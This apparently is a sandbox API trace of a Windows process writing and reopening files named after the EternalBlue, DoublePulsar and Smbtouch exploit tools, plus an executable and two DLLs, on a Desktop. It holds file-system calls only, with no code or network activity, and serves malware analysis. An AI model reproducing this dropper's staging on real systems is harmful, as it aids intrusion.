[0126.531] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Doublepulsar-1.3.1.exe", nBufferLength=0x105, lpBuffer=0x2ea110, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Doublepulsar-1.3.1.exe", lpFilePart=0x0) returned 0x3c
[0126.532] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Doublepulsar-1.3.1.exe", nBufferLength=0x105, lpBuffer=0x2ea270, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Doublepulsar-1.3.1.exe", lpFilePart=0x0) returned 0x3c
[0126.532] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Doublepulsar-1.3.1.exe", nBufferLength=0x105, lpBuffer=0x2ea0d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Doublepulsar-1.3.1.exe", lpFilePart=0x0) returned 0x3c
[0126.532] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Doublepulsar-1.3.1.exe", nBufferLength=0x105, lpBuffer=0x2ea280, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Doublepulsar-1.3.1.exe", lpFilePart=0x0) returned 0x3c
[0126.532] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2ea6c0) returned 1
[0126.532] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Doublepulsar-1.3.1.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\doublepulsar-1.3.1.exe"), fInfoLevelId=0x0, lpFileInformation=0x2ea7a0 | out: lpFileInformation=0x2ea7a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27db4da0, ftCreationTime.dwHighDateTime=0x1d6a96f, ftLastAccessTime.dwLowDateTime=0x27db4da0, ftLastAccessTime.dwHighDateTime=0x1d6a96f, ftLastWriteTime.dwLowDateTime=0x27ddaf00, ftLastWriteTime.dwHighDateTime=0x1d6a96f, nFileSizeHigh=0x0, nFileSizeLow=0xb200)) returned 1
[0126.532] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2ea680) returned 1
[0126.532] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Doublepulsar-1.3.1.exe", nBufferLength=0x105, lpBuffer=0x2ea110, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Doublepulsar-1.3.1.exe", lpFilePart=0x0) returned 0x3c
[0126.532] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2ea5f0) returned 1
[0126.532] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Doublepulsar-1.3.1.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\doublepulsar-1.3.1.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x3b0
[0126.533] GetFileType (hFile=0x3b0) returned 0x1
[0126.533] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2ea560) returned 1
[0126.533] GetFileType (hFile=0x3b0) returned 0x1
[0126.533] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", nBufferLength=0x105, lpBuffer=0x2ea1e0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x0) returned 0x25
[0126.543] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Nasa.exe", nBufferLength=0x105, lpBuffer=0x2ea210, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Nasa.exe", lpFilePart=0x0) returned 0x2e
[0126.543] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2ea6f0) returned 1
[0126.543] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Nasa.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\nasa.exe"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x3b8
[0126.550] GetFileType (hFile=0x3b8) returned 0x1
[0126.550] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2ea660) returned 1
[0126.550] GetFileType (hFile=0x3b8) returned 0x1
[0126.550] WriteFile (in: hFile=0x3b8, lpBuffer=0x2775250*, nNumberOfBytesToWrite=0xb400, lpNumberOfBytesWritten=0x2ea818, lpOverlapped=0x0 | out: lpBuffer=0x2775250*, lpNumberOfBytesWritten=0x2ea818*=0xb400, lpOverlapped=0x0) returned 1
[0126.552] CloseHandle (hObject=0x3b8) returned 1
[0126.557] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Nasa.exe", nBufferLength=0x105, lpBuffer=0x2ea2b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Nasa.exe", lpFilePart=0x0) returned 0x2e
[0126.557] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Nasa.exe", nBufferLength=0x105, lpBuffer=0x2ea110, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Nasa.exe", lpFilePart=0x0) returned 0x2e
[0126.557] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Nasa.exe", nBufferLength=0x105, lpBuffer=0x2ea270, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Nasa.exe", lpFilePart=0x0) returned 0x2e
[0126.557] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Nasa.exe", nBufferLength=0x105, lpBuffer=0x2ea0d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Nasa.exe", lpFilePart=0x0) returned 0x2e
[0126.557] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Nasa.exe", nBufferLength=0x105, lpBuffer=0x2ea280, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Nasa.exe", lpFilePart=0x0) returned 0x2e
[0126.557] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2ea6c0) returned 1
[0126.557] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Nasa.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\nasa.exe"), fInfoLevelId=0x0, lpFileInformation=0x2ea7a0 | out: lpFileInformation=0x2ea7a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27e01060, ftCreationTime.dwHighDateTime=0x1d6a96f, ftLastAccessTime.dwLowDateTime=0x27e01060, ftLastAccessTime.dwHighDateTime=0x1d6a96f, ftLastWriteTime.dwLowDateTime=0x27e271c0, ftLastWriteTime.dwHighDateTime=0x1d6a96f, nFileSizeHigh=0x0, nFileSizeLow=0xb400)) returned 1
[0126.558] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2ea680) returned 1
[0126.558] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Nasa.exe", nBufferLength=0x105, lpBuffer=0x2ea110, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Nasa.exe", lpFilePart=0x0) returned 0x2e
[0126.558] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2ea5f0) returned 1
[0126.558] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Nasa.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\nasa.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x3b8
[0126.558] GetFileType (hFile=0x3b8) returned 0x1
[0126.558] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2ea560) returned 1
[0126.558] GetFileType (hFile=0x3b8) returned 0x1
[0126.558] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", nBufferLength=0x105, lpBuffer=0x2ea1e0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x0) returned 0x25
[0126.581] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Doublepulsar-1.3.1.xml", nBufferLength=0x105, lpBuffer=0x2ea150, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Doublepulsar-1.3.1.xml", lpFilePart=0x0) returned 0x3c
[0126.581] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2ea630) returned 1
[0126.581] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Doublepulsar-1.3.1.xml" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\doublepulsar-1.3.1.xml"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x3bc
[0126.584] GetFileType (hFile=0x3bc) returned 0x1
[0126.584] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2ea5a0) returned 1
[0126.584] GetFileType (hFile=0x3bc) returned 0x1
[0126.584] WriteFile (in: hFile=0x3bc, lpBuffer=0x27880a0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x2ea718, lpOverlapped=0x0 | out: lpBuffer=0x27880a0*, lpNumberOfBytesWritten=0x2ea718*=0x1000, lpOverlapped=0x0) returned 1
[0126.586] WriteFile (in: hFile=0x3bc, lpBuffer=0x27880a0*, nNumberOfBytesToWrite=0x487, lpNumberOfBytesWritten=0x2ea678, lpOverlapped=0x0 | out: lpBuffer=0x27880a0*, lpNumberOfBytesWritten=0x2ea678*=0x487, lpOverlapped=0x0) returned 1
[0126.586] CloseHandle (hObject=0x3bc) returned 1
[0126.629] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Doublepulsar-1.3.1.xml", nBufferLength=0x105, lpBuffer=0x2ea2b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Doublepulsar-1.3.1.xml", lpFilePart=0x0) returned 0x3c
[0126.629] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Doublepulsar-1.3.1.xml", nBufferLength=0x105, lpBuffer=0x2ea110, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Doublepulsar-1.3.1.xml", lpFilePart=0x0) returned 0x3c
[0126.629] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Doublepulsar-1.3.1.xml", nBufferLength=0x105, lpBuffer=0x2ea270, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Doublepulsar-1.3.1.xml", lpFilePart=0x0) returned 0x3c
[0126.629] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Doublepulsar-1.3.1.xml", nBufferLength=0x105, lpBuffer=0x2ea0d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Doublepulsar-1.3.1.xml", lpFilePart=0x0) returned 0x3c
[0126.629] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Doublepulsar-1.3.1.xml", nBufferLength=0x105, lpBuffer=0x2ea180, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Doublepulsar-1.3.1.xml", lpFilePart=0x0) returned 0x3c
[0126.629] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2ea660) returned 1
[0126.629] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Doublepulsar-1.3.1.xml" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\doublepulsar-1.3.1.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x3bc
[0126.629] GetFileType (hFile=0x3bc) returned 0x1
[0126.629] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2ea5d0) returned 1
[0126.629] GetFileType (hFile=0x3bc) returned 0x1
[0126.630] GetFileSize (in: hFile=0x3bc, lpFileSizeHigh=0x2ea808 | out: lpFileSizeHigh=0x2ea808*=0x0) returned 0x1487
[0126.630] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", nBufferLength=0x105, lpBuffer=0x2ea1e0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x0) returned 0x25
[0126.646] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Smbtouch-1.1.1.xml", nBufferLength=0x105, lpBuffer=0x2ea150, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Smbtouch-1.1.1.xml", lpFilePart=0x0) returned 0x38
[0126.646] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2ea630) returned 1
[0126.646] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Smbtouch-1.1.1.xml" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\smbtouch-1.1.1.xml"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x3c0
[0126.648] GetFileType (hFile=0x3c0) returned 0x1
[0126.648] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2ea5a0) returned 1
[0126.648] GetFileType (hFile=0x3c0) returned 0x1
[0126.648] WriteFile (in: hFile=0x3c0, lpBuffer=0x27904b8*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x2ea698, lpOverlapped=0x0 | out: lpBuffer=0x27904b8*, lpNumberOfBytesWritten=0x2ea698*=0x1000, lpOverlapped=0x0) returned 1
[0126.650] WriteFile (in: hFile=0x3c0, lpBuffer=0x27904b8*, nNumberOfBytesToWrite=0x359, lpNumberOfBytesWritten=0x2ea678, lpOverlapped=0x0 | out: lpBuffer=0x27904b8*, lpNumberOfBytesWritten=0x2ea678*=0x359, lpOverlapped=0x0) returned 1
[0126.650] CloseHandle (hObject=0x3c0) returned 1
[0126.686] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Smbtouch-1.1.1.xml", nBufferLength=0x105, lpBuffer=0x2ea2b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Smbtouch-1.1.1.xml", lpFilePart=0x0) returned 0x38
[0126.687] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Smbtouch-1.1.1.xml", nBufferLength=0x105, lpBuffer=0x2ea110, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Smbtouch-1.1.1.xml", lpFilePart=0x0) returned 0x38
[0126.687] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Smbtouch-1.1.1.xml", nBufferLength=0x105, lpBuffer=0x2ea270, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Smbtouch-1.1.1.xml", lpFilePart=0x0) returned 0x38
[0126.687] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Smbtouch-1.1.1.xml", nBufferLength=0x105, lpBuffer=0x2ea0d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Smbtouch-1.1.1.xml", lpFilePart=0x0) returned 0x38
[0126.687] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Smbtouch-1.1.1.xml", nBufferLength=0x105, lpBuffer=0x2ea180, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Smbtouch-1.1.1.xml", lpFilePart=0x0) returned 0x38
[0126.687] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2ea660) returned 1
[0126.687] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Smbtouch-1.1.1.xml" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\smbtouch-1.1.1.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x3c0
[0126.687] GetFileType (hFile=0x3c0) returned 0x1
[0126.687] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2ea5d0) returned 1
[0126.687] GetFileType (hFile=0x3c0) returned 0x1
[0126.687] GetFileSize (in: hFile=0x3c0, lpFileSizeHigh=0x2ea808 | out: lpFileSizeHigh=0x2ea808*=0x0) returned 0x1359
[0126.687] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", nBufferLength=0x105, lpBuffer=0x2ea1e0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x0) returned 0x25
[0126.694] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Eternalblue-2.2.0.xml", nBufferLength=0x105, lpBuffer=0x2ea150, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Eternalblue-2.2.0.xml", lpFilePart=0x0) returned 0x3b
[0126.694] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2ea630) returned 1
[0126.694] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Eternalblue-2.2.0.xml" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\eternalblue-2.2.0.xml"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x3c4
[0126.698] GetFileType (hFile=0x3c4) returned 0x1
[0126.698] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2ea5a0) returned 1
[0126.698] GetFileType (hFile=0x3c4) returned 0x1
[0126.698] WriteFile (in: hFile=0x3c4, lpBuffer=0x279b560*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x2ea718, lpOverlapped=0x0 | out: lpBuffer=0x279b560*, lpNumberOfBytesWritten=0x2ea718*=0x1000, lpOverlapped=0x0) returned 1
[0126.699] WriteFile (in: hFile=0x3c4, lpBuffer=0x279b560*, nNumberOfBytesToWrite=0xde1, lpNumberOfBytesWritten=0x2ea678, lpOverlapped=0x0 | out: lpBuffer=0x279b560*, lpNumberOfBytesWritten=0x2ea678*=0xde1, lpOverlapped=0x0) returned 1
[0126.700] CloseHandle (hObject=0x3c4) returned 1
[0126.721] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Eternalblue-2.2.0.xml", nBufferLength=0x105, lpBuffer=0x2ea2b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Eternalblue-2.2.0.xml", lpFilePart=0x0) returned 0x3b
[0126.721] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Eternalblue-2.2.0.xml", nBufferLength=0x105, lpBuffer=0x2ea110, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Eternalblue-2.2.0.xml", lpFilePart=0x0) returned 0x3b
[0126.721] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Eternalblue-2.2.0.xml", nBufferLength=0x105, lpBuffer=0x2ea270, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Eternalblue-2.2.0.xml", lpFilePart=0x0) returned 0x3b
[0126.721] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Eternalblue-2.2.0.xml", nBufferLength=0x105, lpBuffer=0x2ea0d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Eternalblue-2.2.0.xml", lpFilePart=0x0) returned 0x3b
[0126.721] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Eternalblue-2.2.0.xml", nBufferLength=0x105, lpBuffer=0x2ea180, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Eternalblue-2.2.0.xml", lpFilePart=0x0) returned 0x3b
[0126.721] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2ea660) returned 1
[0126.721] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Eternalblue-2.2.0.xml" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\eternalblue-2.2.0.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x3c4
[0126.721] GetFileType (hFile=0x3c4) returned 0x1
[0126.721] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2ea5d0) returned 1
[0126.721] GetFileType (hFile=0x3c4) returned 0x1
[0126.722] GetFileSize (in: hFile=0x3c4, lpFileSizeHigh=0x2ea808 | out: lpFileSizeHigh=0x2ea808*=0x0) returned 0x1de1
[0126.729] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", nBufferLength=0x105, lpBuffer=0x2ea1e0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x0) returned 0x25
[0126.738] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\adfw.dll", nBufferLength=0x105, lpBuffer=0x2ea210, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\adfw.dll", lpFilePart=0x0) returned 0x2e
[0126.738] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2ea6f0) returned 1
[0126.738] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\adfw.dll" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\adfw.dll"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x3c8
[0126.739] GetFileType (hFile=0x3c8) returned 0x1
[0126.739] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2ea660) returned 1
[0126.740] GetFileType (hFile=0x3c8) returned 0x1
[0126.740] WriteFile (in: hFile=0x3c8, lpBuffer=0x279d4f0*, nNumberOfBytesToWrite=0x2c00, lpNumberOfBytesWritten=0x2ea818, lpOverlapped=0x0 | out: lpBuffer=0x279d4f0*, lpNumberOfBytesWritten=0x2ea818*=0x2c00, lpOverlapped=0x0) returned 1
[0126.741] CloseHandle (hObject=0x3c8) returned 1
[0126.882] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", nBufferLength=0x105, lpBuffer=0x2ea1e0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x0) returned 0x25
[0126.893] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\adfw-2.dll", nBufferLength=0x105, lpBuffer=0x2ea210, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\adfw-2.dll", lpFilePart=0x0) returned 0x30
[0126.893] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2ea6f0) returned 1
[0126.893] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\adfw-2.dll" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\adfw-2.dll"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x3c8
[0126.895] GetFileType (hFile=0x3c8) returned 0x1
[0126.895] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2ea660) returned 1
[0126.895] GetFileType (hFile=0x3c8) returned 0x1
[0126.895] WriteFile (in: hFile=0x3c8, lpBuffer=0x27a0af0*, nNumberOfBytesToWrite=0x3a00, lpNumberOfBytesWritten=0x2ea818, lpOverlapped=0x0 | out: lpBuffer=0x27a0af0*, lpNumberOfBytesWritten=0x2ea818*=0x3a00, lpOverlapped=0x0) returned 1
[0126.896] CloseHandle (hObject=0x3c8) returned 1
[0126.898] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\adfw-2.dll", nBufferLength=0x105, lpBuffer=0x2ea2b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\adfw-2.dll", lpFilePart=0x0) returned 0x30
[0126.898] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\adfw-2.dll", nBufferLength=0x105, lpBuffer=0x2ea110, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\adfw-2.dll", lpFilePart=0x0) returned 0x30
[0126.898] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\adfw-2.dll", nBufferLength=0x105, lpBuffer=0x2ea270, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\adfw-2.dll", lpFilePart=0x0) returned 0x30
[0126.899] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\adfw-2.dll", nBufferLength=0x105, lpBuffer=0x2ea0d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\adfw-2.dll", lpFilePart=0x0) returned 0x30
[0126.899] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\adfw-2.dll", nBufferLength=0x105, lpBuffer=0x2ea280, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\adfw-2.dll", lpFilePart=0x0) returned 0x30
[0126.899] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2ea6c0) returned 1
[0126.899] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\adfw-2.dll" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\adfw-2.dll"), fInfoLevelId=0x0, lpFileInformation=0x2ea7a0 | out: lpFileInformation=0x2ea7a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x280fabe0, ftCreationTime.dwHighDateTime=0x1d6a96f, ftLastAccessTime.dwLowDateTime=0x280fabe0, ftLastAccessTime.dwHighDateTime=0x1d6a96f, ftLastWriteTime.dwLowDateTime=0x280fabe0, ftLastWriteTime.dwHighDateTime=0x1d6a96f, nFileSizeHigh=0x0, nFileSizeLow=0x3a00)) returned 1
[0126.899] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2ea680) returned 1
